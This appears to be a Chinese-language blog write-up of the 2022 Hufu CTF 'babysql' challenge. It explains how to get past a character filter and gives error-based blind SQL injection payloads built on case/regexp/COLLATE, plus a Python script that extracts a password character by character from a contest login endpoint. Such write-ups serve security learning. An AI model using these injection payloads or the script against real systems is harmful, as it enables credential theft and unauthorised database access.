2022虎符

babysql

比赛的时候一开始没发现过滤了空格,所以一直出不了,后来才发现,所以说,对于不确定的正则表达式还是要去实际测试一下才行,然后一看就是要盲注,由于过滤了括号

.replace(/[\s,()#;*\-]/g, '')
.replace(/^.*(?=union|binary).*$/gi, '')
.toString();

所以首选肯定是case,接下来就是构造盲注语句了,由于是要用regexp来构造,读一下文档,发现regexp可以直接作为等号来使用,并且无需空格,可直接比对内容,一开始构造的是,问题在于直接这样是会爆出语法错误的,这个时候’1’和case直接需要有东西隔开,当时思维禁锢住了,没想到使用||。。。。傻逼了

or'1'='1'case'1'whenxxxx

构造出来以后可以得到

'a'||case'1'when'1'then'1'else'0'end||'a';

,接下来就是使用regexp进行盲注,盲注的结果分为两种,一种是状态401,一种是状态500,500是因为报错才会产生的,所以我们就构造一个报错盲注,由于不能使用函数,所以这里可以通过数值之间的大数运算来引起报错

'a'||case'1'when'1'then'1'else~0+~0+'a'end||'a';

接下来就是完善最重要的regexp的盲注部分了

'||case'1'when`username`regexp'^Db'then'1'else~0+~0+'a'end||'a' limit 1;

但是接下来还需要解决大小写问题,查阅mysql8.0的文档,发现regexp在比对的时候可以设置字符集用来表示规则(也就是可以比对大小写)但是我在本地测试的时候,发现要使用对应数据库的编码形式才可以,看了一下hint,可以发现这个数据库是使用这个编码规则的

COLLATE=utf8mb4_0900_as_cs

所以我们的payload也呼之欲出了,使用

'||case'1'when`username`regexp'a'COLLATE‘utf8mb4_0900_as_cs’then'1'else~0+~0+'a'end||'a

接下来就是写成脚本了

import requests
import string
url="http://110.42.133.120:8080/login"
s=requests.session()
#a=string.printable
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!%&'/:<=>@[]^_`{}~^!$"
print(a)
print(a[-3:])
str = ""#aeoo
for j in range(0,100):
for i in a:
if i in a[-3:]:
i=i.replace(i,f'\\\\{i}')
payload=f"a'||case'1'when`password`regexp'^{str+i}'COLLATE`utf8mb4_0900_as_cs`then'1'else~0+~0+'a'end||'a"
data={
"username":payload,
"password":"a"
}
r=s.post(url,data=data).text
print(r)
print(payload)
if "401" in r:
if "\\" in i:
i.replace("\\\\","")
str+=i
print(f"[+]{str}")
break
Author

vague huang

Posted on

2022-03-19

Updated on

2022-08-02

Licensed under

Comments